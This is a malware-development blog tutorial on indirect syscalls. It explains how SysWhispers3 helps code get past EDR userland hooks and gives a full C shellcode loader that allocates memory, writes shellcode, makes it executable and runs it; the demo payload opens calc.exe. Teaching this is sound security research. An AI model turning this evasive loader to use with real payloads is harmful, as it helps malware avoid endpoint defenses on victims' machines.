Indirect Syscalls
#Maldev #Easy-MediumðŸŸ
|
Hello everyone, in this new post, we will explore Indirect Syscalls, from theory to practice.
I. Theory part
When using a basic Windows API, it will call another API, which will then make a syscall to execute the requested action. Most APIs that handle syscalls are native APIs, and they are primarily located in the NTDLL.dll library.
For example, when using the OpenProcess API, the function will redirect the request to the NtOpenProcess native API, which will then directly execute a syscall.
The problem is that most high-level APIs like OpenProcess are heavily scrutinized by antivirus software, especially in the IAT. A combination of several such APIs can be flagged directly by EDRs and antivirus solutions even before any disk activity occurs.
Back in the day, the first solution to bypass this was to use Windows native APIs directly to avoid detection. Unfortunately, EDRs quickly adapted and started placing hooks at the beginning of certain suspicious native APIs, such as NtAllocateVirtualMemory. This technique is called userland hooking. A second solution to this problem was to code the syscall calls directly using SSNs. SSNs (syscall service numbers) are the numbers the kernel uses to determine which API is being invoked. This way, the kernel can perform the tasks requested by the API.
Unfortunately, Windows changes the SSN of various APIs with each OS update. As a result, it was only possible to retrieve the SSNs at runtime unless the exact version of the installed Windows was known.
Unfortunately, the real issue with these techniques is that direct syscalls (without using a DLL like NTDLL.dll) are flagged as suspicious because legitimate actions would always go through NTDLL.dll. As a result, direct syscalls were quickly flagged and are now practically unused to bypass EDRs and antivirus software. A technique was then adopted and named "Indirect Syscall." This technique involves making a syscall via NTDLL.dll while bypassing userland hooking, which was a major issue. The goal is to directly jump to NTDLL.dll, where the syscall for the desired API is located. This approach is implemented in SysWhispers 3.
Another method provided by SysWhispers 3, and the one we will use here, is an option called "jumper_randomized." This technique performs a jump to the syscall of a random API.
For example, instead of jumping to the syscall of the NtCreateThreadEx API, it will jump to the syscall of the NtOpenProcess API, which will then execute the syscall itself. Here, the Windows kernel will use the SSN (Syscall Service Number) that is passed to it, which corresponds to the API we actually want to use.
All these parameters are, of course, set up before the jump.
Other security measures have been implemented to analyze this type of execution, such as Kernel Callbacks, Hooked Syscall Return Analysis or even Behavioral Analysis. However, this post is not dedicated to these techniques and they will be explained in another one.
Here is a very quick explanation of how malware detection works in EDRs, antivirus software, etc. If you want more details on these techniques, you can check out KlezVirus's articles, which are very interesting and can be found here:
Now that we have the fundamentals to understand indirect syscalls, we can move on to practice!
II. Practice
Here, we will see how to implement indirect syscalls using SysWhispers 3. This will be just a demonstration and is not intended to bypass antivirus solutions—that will be covered in a future post. For this demonstration, four native APIs will be used.
In fact, using SysWhispers 3 makes our lives much easier since we don't have to code everything for the exploit to work (e.g., retrieving the memory addresses of native functions, bypassing userland hooks, etc.).
To get started, we first need to download the SysWhispers 3 repository, which is available here:
🔗 https://github.com/klezVirus/SysWhispers3
Once downloaded, navigate to the repository directory and run the following command:
python3 syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx -o Exploit -v
Note that you need to specify all the Windows native APIs that you will use later in your code. In this demonstration, I will only use these four APIs.

After running the program, you should see three new files in your directory. You will need to move these files into your project folder. Additionally, you must enable MASM compilation :

Once all of this is done, we can start creating our program. To do this, we will perform a simple code injection into our own process.
First, we will use NtAllocateVirtualMemory to allocate memory within our process. This will allow us to write our shellcode inside and execute it afterward. Here's what the API looks like:

If you need more information on the arguments for this API, you can refer directly to Microsoft's website, which details each parameter. In our case, the first argument is the process handle. The second argument is an output pointer we defined, which will point to the starting address of the allocated memory. The third argument is used to specify the size of the memory allocation and must be a multiple of 4 KB. The fifth argument defines the type of memory allocation, and the last one sets the permissions for this allocation.
Here's the version I've put together below:

Note that the API in my code is prefixed with "Sw3". This is the default behavior; however, you can rename it as you see fit.
Also note that I've defined a macro for NT_SUCCESS, which is a definition used by Windows to check an NTSTATUS return code indicating success. You can see it below:

Once the memory allocation is complete, we can simply write our shellcode inside. Again, below is the definition of the API used:

Note that the native API NtWriteVirtualMemory isn't officially documented, so its behavior isn't guaranteed to be consistent across Windows versions.
The first parameter, is the handle of the current process. The second parameter is the destination address where the data will be written. This pointer was obtained earlier from the memory allocation step. The third parameter contains the shellcode that we want to inject into the allocated memory. The fourth parameter, represents the size of the data being written. It ensures that we only write the exact amount of bytes needed for our payload. The last parameter is a pointer to a variable that will store the number of bytes actually written. This allows us to verify whether the full payload was successfully written to memory.

Previously, we allocated memory in our process with read and write permissions only. Now, I will change its permissions so that it becomes executable. This is done using the native API NtProtectVirtualMemory. Like NtWriteVirtualMemory, this API is also undocumented, meaning it is not officially documented by Microsoft and may change between Windows versions.
Here is the function signature below:

Since the parameters are quite descriptive by their names, I won’t go into more detail about what each one does. Here's the function implemented in my demonstration:

Once the permissions are set, all that’s left is to execute the code by creating a new thread. A well-known API for this is NtCreateThreadEx. Like the last two, NtCreateThreadEx is also undocumented. Here is the unofficial documentation:

The first parameter is a pointer to a variable that will receive the handle of the newly created thread. The second one defines the thread's access rights. The third parameter is a pointer to an object_attributes structure, but it's usually set to NULL unless additional attributes are required. The fourth parameter is a handle to the process where the thread will be created. The fifth parameter is the address of the function to be executed by the thread.
The sixth parameter is a pointer to the argument passed to StartRoutine, usually NULL. The seventh parameter controls thread creation flags, generally set to NULL also. The eighth parameter is reserved and typically set to NULL. The ninth parameter defines the size of the thread's stack, usually set to NULL.
The tenth parameter sets the maximum stack size for the thread, typically NULL. The last parameter is a pointer to an ps_attribute_list structure for additional attributes, usually NULL too.
From here, we can create our thread as shown below :

Note the use of WaitForSingleObject. This function ensures that the thread completes the execution of its code before terminating. Without it, the code wouldn’t finish properly and wouldn’t be fully executed.
The 4 APIs demonstrated below have been correctly implemented and should work. Here is the full code for the basic injection:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <Windows.h>
#include "Exploit.h"
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
BOOL WritingExploit(PBYTE* pBuffer) {
SIZE_T regionSize = 0;
NTSTATUS statusAlloc;
NTSTATUS statusWrittingP;
NTSTATUS statusChangingPerm;
unsigned char payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
SIZE_T siexploit = sizeof(payload);
regionSize = siexploit;
size_t BytesWritten = 0;
ULONG old_protect = 0;
statusAlloc = Sw3NtAllocateVirtualMemory(GetCurrentProcess(), (PVOID*)pBuffer, 0, ®ionSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!NT_SUCCESS(statusAlloc)) {
printf("\n[-] Issue while allocating memory in the process. Status: %ld\n", statusAlloc);
getchar();
return FALSE;
}
else {
printf("[i] Memory allocated at: 0x%p\n", *pBuffer);
}
printf("[i] Writing the payload...\n\n");
statusWrittingP = Sw3NtWriteVirtualMemory(GetCurrentProcess(), *pBuffer, payload, (ULONG)siexploit, &BytesWritten);
if (!NT_SUCCESS(statusWrittingP)) {
printf("[-] Issue while writing the Payload. Status: %ld\n", statusWrittingP);
return FALSE;
}
else {
printf("[i] Payload written successfully (%lu bytes).\n\n", BytesWritten);
printf("[i] Changing the buffer rights...\n\n");
}
statusChangingPerm = Sw3NtProtectVirtualMemory(GetCurrentProcess(), (PVOID*)pBuffer, ®ionSize, PAGE_EXECUTE, &old_protect);
if (!NT_SUCCESS(statusChangingPerm)) {
printf("[-] Problem changing permissions. Status: %ld\n", statusChangingPerm);
return FALSE;
}
else {
printf("[i] Permissions have been changed successfully!\n");
return TRUE;
}
}
BOOL ExecuteExploit(PBYTE pBuffer) {
NTSTATUS statusExec;
HANDLE hThread = NULL;
statusExec = Sw3NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (PVOID)pBuffer, NULL, NULL, NULL, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
if (!NT_SUCCESS(statusExec)) {
return FALSE;
}
else {
return TRUE;
}
}
int main(int argc, char* argv[]) {
PBYTE pbuffer = NULL;
printf("Let's do some Indirect syscall\n");
if (!WritingExploit(&pbuffer)) {
return -1;
}
else {
printf("[+] Payload written successfully\n");
}
if (!ExecuteExploit(pbuffer)) {
printf("Execution went wrong :(\n");
return -1;
}
else {
return 0;
}
return 0;
}
Here, the shellcode is used to execute calc.exe.

You can see that SysWhisper3 generates a lot of output like "Found Syscall Opcodes at address: 0xXXXXXXXXXXXXXXXX".
This refers to the fact that SysWhisper3 will attempt to search for syscall opcodes at a specific memory address. These opcodes are sequences of instructions used by the Windows kernel to perform a system call. The goal here is to dynamically locate these addresses in the memory of the running process, allowing for direct syscall invocation while avoiding userland hooks that could be monitored by EDRs or antivirus software.
Therefore, what we see in the output is simply SysWhisper3 reporting the memory locations of the instructions that allow interaction with the Windows kernel, which is crucial for performing an indirect syscall.
In the image below, we can see that SysWhisper3 found a syscall for the ZwWriteFileGather API. Although this API isn’t used in my code, it may potentially be used for indirect syscalls.


You can also see here the SSN "1B" being passed into EAX. If you compare it with the x86-64 syscall table created and continuously updated by Mateusz, you’ll see that it corresponds to the right syscall. If you want to take a look, here’s the link :
https://j00ru.vexillium.org/syscalls/nt/64/

Thank you for taking the time to read this post, and we’ll see you next time for more cool techniques!